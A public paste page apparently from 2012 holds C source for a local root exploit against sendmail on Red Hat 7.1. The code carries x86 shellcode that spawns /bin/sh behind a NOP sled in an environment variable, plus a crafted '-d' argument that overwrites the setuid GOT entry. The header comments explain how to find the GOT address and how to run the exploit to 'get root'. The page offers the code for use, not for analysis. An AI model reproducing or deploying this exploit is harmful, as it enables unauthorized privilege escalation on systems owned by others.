Don't like ads? PRO users don't see any ads ;-)
Public Pastes

RedHat 7.1 Sendmail Exploit

By: Reck on May 2nd, 2012  |  syntax: None  |  size: 1.62 KB  |  hits: 355  |  expires: Never
download  |  raw  |  embed  |  report abuse  |  print
Text below is selected. Please press Ctrl+C to copy to your clipboard. (⌘+C on Mac)
  1. /*
  2.  * reckz0r.c   (RED HAT 7.1 SENDMAIL EXPLOIT)
  3.  *
  4.  * twitter.com/reckz0r
  5.  *
  6.  * Use objdump to find GOT:
  7.  * $ objdump -R /usr/sbin/sendmail |grep setuid
  8.  * 0809e07c R_386_JUMP_SLOT   setuid
  9.  * ^^^^^^^^^ GOT
  10.  *
  11.  * Probably you should play with offs to make exploit work.
  12.  *
  13.  * To get root type ./reckz0r 1000 and then press Ctrl+C.
  14.  *
  15.  *
  16.  */
  17.  
  18. #include <sys/types.h>
  19. #include <stdlib.h>
  20.  
  21. #define OFFSET 1000
  22. #define VECT 0x080ca160
  23. #define GOT 0x080ad8d0
  24.  
  25. #define NOPNUM 1024
  26.  
  27. int offs = 0;
  28.  
  29. char shellcode[] =
  30.   "\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
  31.   "\xb0\x2e\xcd\x80\xeb\x15\x5b\x31"
  32.   "\xc0\x88\x43\x07\x89\x5b\x08\x89"
  33.   "\x43\x0c\x8d\x4b\x08\x31\xd2\xb0"
  34.   "\x0b\xcd\x80\xe8\xe6\xff\xff\xff" "/bin/sh";
  35.  
  36. unsigned int
  37. get_esp ()
  38. {
  39.   __asm__ ("movl %esp,%eax");
  40. }
  41.  
  42. int
  43. main (int argc, char *argv[])
  44. {
  45.   char *egg, s[256], tmp[256], *av[3], *ev[2];
  46.   unsigned int got = GOT, vect = VECT, ret, first, last, i;
  47.  
  48.   egg = (char *) malloc (strlen (shellcode) + NOPNUM + 5);
  49.   if (egg == NULL)
  50.   {
  51.     perror ("malloc()");
  52.     exit (-1);
  53.   }
  54.   sprintf (egg, "EGG=");
  55.   memset (egg + 4, 0x90, NOPNUM);
  56.   sprintf (egg + 4 + NOPNUM, "%s", shellcode);
  57.  
  58.   offs = atoi (argv[1]);
  59.  
  60.   ret = get_esp () + offs;
  61.  
  62.   sprintf (s, "-d");
  63.   first = -vect - (0xffffffff - got + 1);
  64.   last = first;
  65.   while (ret)
  66.   {
  67.     i = ret & 0xff;
  68.     sprintf (tmp, "%u-%u.%u-", first, last, i);
  69.     strcat (s, tmp);
  70.     last = ++first;
  71.     ret = ret >> 8;
  72.   }
  73.   s[strlen (s) - 1] = '\0';
  74.  
  75.   av[0] = "/usr/sbin/sendmail";
  76.   av[1] = s;
  77.   av[2] = NULL;
  78.   ev[0] = egg;
  79.   ev[1] = NULL;
  80.   execve (*av, av, ev);
  81. }
create a new version of this paste RAW Paste Data